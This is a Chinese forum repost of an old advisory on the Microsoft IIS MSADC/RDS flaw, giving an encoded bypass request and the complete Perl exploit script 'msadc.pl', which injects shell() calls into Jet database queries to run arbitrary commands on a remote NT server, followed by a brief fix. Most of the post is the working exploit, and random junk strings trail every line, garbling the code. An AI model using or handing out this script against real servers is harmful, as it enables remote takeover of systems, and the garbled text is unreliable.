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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) sluZ-,zE  
l:Xf(TLa  
涉及程序: <Ibr.L]  
Microsoft NT server ht)*Ync  
IEr`6|X  
描述: ysT!^-&p  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 c:_i)":  
yc4f\0B/  
详细: Gv nclnG  
如果你没有时间读详细内容的话,就删除: DW%K'+@M  
c:\Program Files\Common Files\System\Msadc\msadcs.dll `L[32B9  
有关的安全问题就没有了。 VGUDUM.8  
714nUA872  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 e4H0<h }{  
e%0#"6}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 OZ0%;Y0  
关于利用ODBC远程漏洞的描述,请参看: o[r6sz:  
IV#f}NrfD  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm wQuaB6E  
0]w[wc <  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ]fS~N9B  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &OR*r7*Z  
w[vIPlSdS  
这里不再论述。 x4A~MuGU  
wQS w&G  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: K]*ERAfM%m  
!J(,M)p!  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ITqigGan%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bme#G{[)Y  
mb`}sTU).  
w8#>xV^~  
#将下面这段保存为txt文件,然后: "perl -x 文件名" y\|\9Q%D  
HPCA$LD  
#!perl RIqxM  
# G6F['g);  
# MSADC/RDS 'usage' (aka exploit) script VRP.tD  
# [gr[0aGBc  
# by rain.forest.puppy UT7lj wT  
# sW3D ( n  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me N$\5%  
# beta test and find errors! Kf<_A{s  
ea}KxLC`,  
use Socket; use Getopt::Std; ;|1P1H-W~M  
getopts("e:vd:h:XR", \%args); r_Yl/WW  
/,%o<Ql9  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ~e~Mx=FT0  
x(N} ^Hu  
if (!defined $args{h} && !defined $args{R}) { X.Y)'qSf  
print qq~ 8/$iCW  
Usage: msadc.pl -h <host> { -d <delay> -X -v } /Z_ [)PTH  
-h <host> = host you want to scan (ip or domain) gm$MEeC  
-d <seconds> = delay between calls, default 1 second Ijro;rsEKM  
-X = dump Index Server path table, if available (lsod#wEMg  
-v = verbose E1w XG  
-e = external dictionary file for step 5 D)cwttH  
ZGvNEjff  
Or a -R will resume a command session #@"rp]1xv  
>ZsK5v  
~; exit;} neH"ks5  
S2SQ;s-t_  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";  #X_M  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {v/6|  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} V)jhyCL  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); YVp0}m  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ' *C)S  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (\Zo"x;(  
0DT2qM[,  
if (!defined $args{R}){ $ret = &has_msadc; Px&Mi:4tG  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <$6E r  
*0ntx$M-w  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ;|,Y2?  
. "cmd /c "; F>R)~;Ja  
$in=<STDIN>; chomp $in; LB+=?Mz V  
$command="cmd /c " . $in ;  :!FwF65  
<q=B(J'  
if (defined $args{R}) {&load; exit;} S$/3Kq  
t^;Fq{>  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; T=Q{K|JE  
&try_btcustmr; $oj<yH<i  
hd%F7D5  
print "\nStep 2: Trying to make our own DSN..."; T5+b{qA  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Ap9w H[H  
^TK)_wx  
print "\nStep 3: Trying known DSNs..."; ]>T/Gl1  
&known_dsn; (2)9TpE;  
) hB*Hjh  
print "\nStep 4: Trying known .mdbs..."; <L#r6y~H  
&known_mdb; t4f\0`jN  
VO?NrKyeW  
if (defined $args{e}){ :?W:'% (`[  
print "\nStep 5: Trying dictionary of DSN names..."; "evV/Fg (  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } &" n9,$  
>9|+F [Fc  
print "Sorry Charley...maybe next time?\n"; )Q?[_<1Y+  
exit; D$ z!wV  
C}E ea~  
############################################################################## \ .s".aA  
X/749"23  
sub sendraw { # ripped and modded from whisker 7s3<}  
sleep($delay); # it's a DoS on the server! At least on mine... d_B5@9e#  
my ($pstr)=@_; W)O'( D  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || niBpbsO  
die("Socket problems\n"); th|Q NG  
if(connect(S,pack "SnA4x8",2,80,$target)){ +-V?3fQ  
select(S); $|=1; }1 ^.A84a  
print $pstr; my @in=<S>; ~;Kl/Z  
select(STDOUT); close(S); IW*.B6Hw8  
return @in; 6 nhB1Aei  
} else { die("Can't connect...\n"); }} 8;rS"!qM  
3W0:0I  
############################################################################## FM];+d0  
tgnXBWA`!  
sub make_header { # make the HTTP request 9Ua@-  
my $msadc=<<EOT /% 1lJD  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 1t'\!  
User-Agent: ACTIVEDATA T+hW9pa)  
Host: $ip 7X>3WF  
Content-Length: $clen SBt: `,  
Connection: Keep-Alive inrL'z   
z0Hh8*  
ADCClientVersion:01.06 0l*/_;wo  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 aR $P}]H  
+M:Q!'  
--!ADM!ROX!YOUR!WORLD! ;_*F [ }w  
Content-Type: application/x-varg K)OlCpHc  
Content-Length: $reqlen `BY`ltW  
eD0@n :  
EOT N%y FL  
; $msadc=~s/\n/\r\n/g; en)DN3  
return $msadc;} wS4wED&a  
\3/'#  
############################################################################## ;'}xD5]  
B;Vl+}R  
sub make_req { # make the RDS request Jsl,r+'H  
my ($switch, $p1, $p2)=@_; R)z|("%ec  
my $req=""; my $t1, $t2, $query, $dsn; s#3{c@^3  
=c'LG   
if ($switch==1){ # this is the btcustmr.mdb query A:Z:&(NtE:  
$query="Select * from Customers where City=" . make_shell(); &5<lQ1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . #$E vybETx  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ,5:86'p  
3WS % H17  
elsif ($switch==2){ # this is general make table query C54)eT6  
$query="create table AZZ (B int, C varchar(10))"; ,zaveQ~l  
$dsn="$p1";} B%/Pn 2  
2rM i~8 T  
elsif ($switch==3){ # this is general exploit table query k@'.d)y0`  
$query="select * from AZZ where C=" . make_shell(); ?hYe4tc-#  
$dsn="$p1";} :QNEA3Q  
g&V.o5jIhc  
elsif ($switch==4){ # attempt to hork file info from index server Xqk$[ peS  
$query="select path from scope()"; :nt%z0_  
$dsn="Provider=MSIDXS;";} 3-D!ZS&  
sM K/l @7  
elsif ($switch==5){ # bad query B^{DCHu/  
$query="select"; sYzG_* )  
$dsn="$p1";} @@QU"8q  
<[bDNe["?  
$t1= make_unicode($query); I\_R& v  
$t2= make_unicode($dsn); XA68H!I  
$req = "\x02\x00\x03\x00"; YX(%jcj*  
$req.= "\x08\x00" . pack ("S1", length($t1)); W%o){+,  
$req.= "\x00\x00" . $t1 ; x4K5  
$req.= "\x08\x00" . pack ("S1", length($t2)); V<7Gd8rDMM  
$req.= "\x00\x00" . $t2 ; 8}"j#tDc  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; )d~Mag+  
return $req;} 5I14"Qf  
!p$V7pFu6  
############################################################################## Yu=^`I  
jQhf)B  
sub make_shell { # this makes the shell() statement 03PVbDq-  
return "'|shell(\"$command\")|'";} Z:Wix|,ONS  
TH-^tw  
############################################################################## M<729M  
IP3-lru  
sub make_unicode { # quick little function to convert to unicode yY+2;`CH  
my ($in)=@_; my $out; 6dh PqL  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %j,Ny}a   
return $out;} -#r_9HQ,w  
='FEC-f95  
############################################################################## <~3 a aO  
uH#NJoR O  
sub rdo_success { # checks for RDO return success (this is kludge) ZI1RB fR  
my (@in) = @_; my $base=content_start(@in); ;S7xJ 'H  
if($in[$base]=~/multipart\/mixed/){ ntT| G0E  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +J} 41  
return 0;}  E9i WGSE  
fiZ8s=J  
############################################################################## >cp9{+#f  
TJ<PT  
sub make_dsn { # this makes a DSN for us E$T#o{pai  
my @drives=("c","d","e","f"); _rM%N+$&d_  
print "\nMaking DSN: "; +2?[=g4;}  
foreach $drive (@drives) { `e bB+gI  
print "$drive: "; )I#kG{z|P;  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . vlD]!]V:h  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" TsD >m  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); v7-'H/d.  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <j>@Fg#q  
return 0 if $2 eq "404"; # not found/doesn't exist ,-Na'n  
if($2 eq "200") { wcOAyo5(n  
foreach $line (@results) { 1L0ku@%t9Y  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} z(xvt>  
} return 0;} G~PP1sf  
Qmrcng}P  
############################################################################## #SdaTMLFf  
C9z{8 ;  
sub verify_exists { OKP?^%kD  
my ($page)=@_; }MX`WW0\]Z  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~?p > L  
return $results[0];} 5FMKJ7sC9  
8|l Yf%n>j  
############################################################################## H`P )  
L81"W`?  
sub try_btcustmr { Fri5_rxLl  
my @drives=("c","d","e","f"); 75F&s,4+  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3"".kf,O5e  
9#p^Z)[)-  
foreach $dir (@dirs) { _FV.}%W<u  
print "$dir -> "; # fun status so you can see progress Rm RV8 WJ6  
foreach $drive (@drives) { H\^^p!^)  
print "$drive: "; # ditto H|^4e   
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ..!yf e"5  
$reqlenlen=length( "$reqlen" ); LV[4zo]=  
$clen= 206 + $reqlenlen + $reqlen; ]8^2(^3ct  
XEuv aM  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); OV[-m;h|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Zwc b5\Q  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0K!9MDT}*  
yP-Dj ,  
############################################################################## I}:/v$btM  
|LQmdgVr$  
sub odbc_error { 9. R _=  
my (@in)=@_; my $base; g (~&  
my $base = content_start(@in); D"hiEz  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this yF:fxdpw  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; aZ'p:9e  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; , R)[$n  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; OJ 2M_q)e  
return $in[$base+4].$in[$base+5].$in[$base+6];} e D}Ga4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Eg9502Bl~8  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 4 (yHD  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ql8:s>1T  
s(dox; d  
############################################################################## k91Y"_&  
41.+3VP  
sub verbose { RsbrD8*AD  
my ($in)=@_; a-W&/  
return if !$verbose; 2vwT8/  
print STDOUT "\n$in\n";} Ii9vA ^53  
O~D}&M@/R  
############################################################################## #8`G&S*  
CI,-q i  
sub save { V;z?m)ur  
my ($p1, $p2, $p3, $p4)=@_; BP7_o63/G  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ka5>9E  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ^'h~#7s  
close OUT;} >3ODqRu  
B)(A#&nrb  
############################################################################## 7}*5Mir p  
C?|gf?1p  
sub load { >!$4nxq2>  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3drgB;:g`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Y5;:jYk#<_  
@p=<IN>; close(IN); +V) (,f1  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); QW!'A`*x  
$target= inet_aton($ip) || die("inet_aton problems"); y0Tb/&xN  
print "Resuming to $ip ..."; >?kt3.IQ!X  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; qjWgyhL  
if($p[1]==1) { JmBYD[h,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; *)w 8fq  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; J:>TV.TP  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); T7,tJk,(  
if (rdo_success(@results)){print "Success!\n";} j_{gk"2:d`  
else { print "failed\n"; verbose(odbc_error(@results));}} 5pDxFs=v  
elsif ($p[1]==3){ W=DQ6.   
if(run_query("$p[3]")){ MDlC U  
print "Success!\n";} else { print "failed\n"; }} 4, :D4WYWD  
elsif ($p[1]==4){ 7fVVU+y  
if(run_query($drvst . "$p[3]")){ w"D"9 G  
print "Success!\n"; } else { print "failed\n"; }} X:dj5v  
exit;} Ro1l:P)C`  
[)a,rrhj  
############################################################################## o;O_N^_W  
B<o i,S  
sub create_table { Ywni2-)<  
my ($in)=@_; 3w-0v"j U  
$reqlen=length( make_req(2,$in,"") ) - 28; c>^_4QQ  
$reqlenlen=length( "$reqlen" ); c{E-4PYbah  
$clen= 206 + $reqlenlen + $reqlen; |[qI2-el?  
my @results=sendraw(make_header() . make_req(2,$in,"")); "?Y0Ng[  
return 1 if rdo_success(@results); c"| ^Lo.  
my $temp= odbc_error(@results); verbose($temp); vEb~QX0~  
return 1 if $temp=~/Table 'AZZ' already exists/; S-1}3T%  
return 0;}  $% jV%k  
^c2 8Q.<w(  
############################################################################## OZ-F+#d  
}3+(A`9h f  
sub known_dsn { ]M2>%Dvw  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go @ }[)uH  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", G1D(-X4ALZ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 2^juLXc|R  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ~"LOw_BRh  
ve>8vw2  
foreach $dSn (@dsns) { 'r-a:8:t^  
print "."; U$-FQRM4K  
next if (!is_access("DSN=$dSn")); VA]%i P,O-  
if(create_table("DSN=$dSn")){ \=QG6&_  
print "$dSn successful\n"; yeW|Ux:  
if(run_query("DSN=$dSn")){ yyXJ_B  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dCc*<S  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Yu8WmX,[  
Z(V 4"x7F  
############################################################################## rVz#;d!`z  
Wy|=F~N  
sub is_access { $[z*MQ  
my ($in)=@_; H6~QSe0l  
$reqlen=length( make_req(5,$in,"") ) - 28; amPQU  
$reqlenlen=length( "$reqlen" ); \Oc3rJ(  
$clen= 206 + $reqlenlen + $reqlen; Q@M,:0+cy  
my @results=sendraw(make_header() . make_req(5,$in,"")); ^+}<Q#y-  
my $temp= odbc_error(@results); D7=gUm >  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); r^]0LJ  
return 0;} NE/3aU  
 Z3I<  
############################################################################## GSMP)8 W  
MRiETd"  
sub run_query { R^K<u#>K  
my ($in)=@_; wD*_S}]  
$reqlen=length( make_req(3,$in,"") ) - 28; Haturg  
$reqlenlen=length( "$reqlen" ); KC  
$clen= 206 + $reqlenlen + $reqlen; 1tD4 I  
my @results=sendraw(make_header() . make_req(3,$in,"")); ne;,TJ\  
return 1 if rdo_success(@results); p[W8XX  
my $temp= odbc_error(@results); verbose($temp); hmks\eb~  
return 0;} (}}BZ S&.  
73P(oVj<  
############################################################################## q~a6ES_lA  
/*st,P$"  
sub known_mdb { }bHd U]$}  
my @drives=("c","d","e","f","g"); =_TCtH  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ; zs4>>^>  
my $dir, $drive, $mdb; ^gNAGQYA  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +]B^*99  
G`w7dn;&  
# this is sparse, because I don't know of many Tl9_Wi  
my @sysmdbs=( "\\catroot\\icatalog.mdb", {Rbc  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Ll&Y_Ry  
"\\system32\\certmdb.mdb", <~f/T]E,  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 2<<,aL*  
GT* \gZ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", B<+}_3.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", y|c]r!A  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", _e/v w:  
"\\cfusion\\cfapps\\security\\realm_.mdb", U+nwLxe'  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", .(3B}}gB>  
"\\cfusion\\database\\cfexamples.mdb", 84|Hn|4t  
"\\cfusion\\database\\cfsnippets.mdb", D @T,j4o  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", #Mi>f4T;  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \Q]2Zq  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 1 aIJ0#nE  
"\\cfusion\\database\\smpolicy.mdb", TVYO`9:CW  
"\\cfusion\\database\cypress.mdb", ?. CA9!|   
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", @| r*yi  
"\\website\\cgi-win\\dbsample.mdb", Rh,*tS  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", MX  qH  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" sexnO^s  
); #these are just Av7bp[OD  
foreach $drive (@drives) { e>Is$+[`7  
foreach $dir (@dirs){ }9{6{TD  
foreach $mdb (@sysmdbs) { ,sXa{U  
print "."; Wrt3p-N"D  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ HlLF<k~}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; NNSn]LP  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ o9>r -  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; T*O!r`.Ak  
} else { print "Something's borked. Use verbose next time\n"; }}}}} IL`5RZi1  
>H[&Wa+_  
foreach $drive (@drives) { =|=9\3po  
foreach $mdb (@mdbs) { X8F _Mb*  
print "."; 8%2*RKj  
if(create_table($drv . $drive . $dir . $mdb)){ /1t(e._  
print "\n" . $drive . $dir . $mdb . " successful\n"; v?5Xx{ym  
if(run_query($drv . $drive . $dir . $mdb)){ qH$G_R#)8B  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; fq _6xs  
} else { print "Something's borked. Use verbose next time\n"; }}}} EcFYP"{U  
} )k=8.j4  
[\eUCt F  
############################################################################## }kGJ)zh  
,Rz,[KI|  
sub hork_idx { zN*/G6>A  
print "\nAttempting to dump Index Server tables...\n"; NhXTt!S6C  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 3,W2CN}  
$reqlen=length( make_req(4,"","") ) - 28; Peh( *D{  
$reqlenlen=length( "$reqlen" ); $0NWX  
$clen= 206 + $reqlenlen + $reqlen; hAKyT~[n0  
my @results=sendraw2(make_header() . make_req(4,"","")); ,~%Qu~\  
if (rdo_success(@results)){ -7hU1j~I  
my $max=@results; my $c; my %d; <HI5xB_  
for($c=19; $c<$max; $c++){ NZmmO )p4  
$results[$c]=~s/\x00//g; .}%$l.#a  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; j<4J_wE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; lD. PNwM  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; @\b*a]CV  
$d{"$1$2"}="";} !uy?]l  
foreach $c (keys %d){ print "$c\n"; } M"ZP s   
} else {print "Index server doesn't seem to be installed.\n"; }} 9kWyO:a_(  
f!eC|:D  
############################################################################## pNCk~OM  
!JJCG  
sub dsn_dict { _ i.CvYe  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); JaiYVx(  
while(<IN>){ XLI'f$w&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; i%D/@$\D6  
next if (!is_access("DSN=$dSn")); vUY?Eb[  
if(create_table("DSN=$dSn")){ A<QYW,:|  
print "$dSn successful\n"; )k- 7mwkZ  
if(run_query("DSN=$dSn")){ VNx}ADXu]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { e*:[#LJ]C  
print "Something's borked. Use verbose next time\n";}}} a:7"F{D91  
print "\n"; close(IN);} ,`B*rCOa  
qXCl6Yo8  
############################################################################## :Dw;RcZQ  
S\MD]>4  
sub sendraw2 { # ripped and modded from whisker 45> w=O  
sleep($delay); # it's a DoS on the server! At least on mine... (;+ JM*c2N  
my ($pstr)=@_; -;_NdL@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +TfMj1Zx  
die("Socket problems\n"); UdT ~ h  
if(connect(S,pack "SnA4x8",2,80,$target)){ E _/v$  
print "Connected. Getting data"; hnmFhJ !g  
open(OUT,">raw.out"); my @in; Fu(e4E  
select(S); $|=1; print $pstr; = r_&R#~GT  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &W)k s  
close(OUT); select(STDOUT); close(S); return @in; 0[x?Q[~S_0  
} else { die("Can't connect...\n"); }} 8HxB\ !0F?  
&H-39;?u  
############################################################################## w(<; $9  
gjk=`lU  
sub content_start { # this will take in the server headers rb qH9 S  
my (@in)=@_; my $c; VABrw t  
for ($c=1;$c<500;$c++) { ig7)VKr  
if($in[$c] =~/^\x0d\x0a/){  QSmE:Y  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *B#<5<T  
else { return $c+1; }}} 5MO:hE5sm  
return -1;} # it should never get here actually [="moh2*f  
GL.& g{$#+  
############################################################################## fI t:eKHr  
x\3tSP7Vp  
sub funky { |Gzd|$%Oq  
my (@in)=@_; my $error=odbc_error(@in); _|g(BK2}  
if($error=~/ADO could not find the specified provider/){ Xa Yx avq  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; bv)E>%Yy  
exit;} 4;7<)&#h  
if($error=~/A Handler is required/){ >8#(GXnSt  
print "\nServer has custom handler filters (they most likely are patched)\n"; o.Mb~8Yu  
exit;} ec)G~?FH  
if($error=~/specified Handler has denied Access/){ I,l%6oPa  
print "\nServer has custom handler filters (they most likely are patched)\n"; \4bma<~a  
exit;}} ouPwhB,bg  
"mSDL:$  
############################################################################## O_FT@bo\  
.KIAeCvl\  
sub has_msadc {  #Z"N\49  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); @R9  
my $base=content_start(@results); 0v,DQJ?w8  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 44 o5I:  
return 0;} ^>72<1U%  
m32OE`s  
######################## L>).o%(R  
i/, G=yA  
VX[{X8PkS  
解决方案: EJNj.c-#  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~bWqoJ;Q  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ePrb G4xv  
KVSy^-."  
拿出来充数 哈哈
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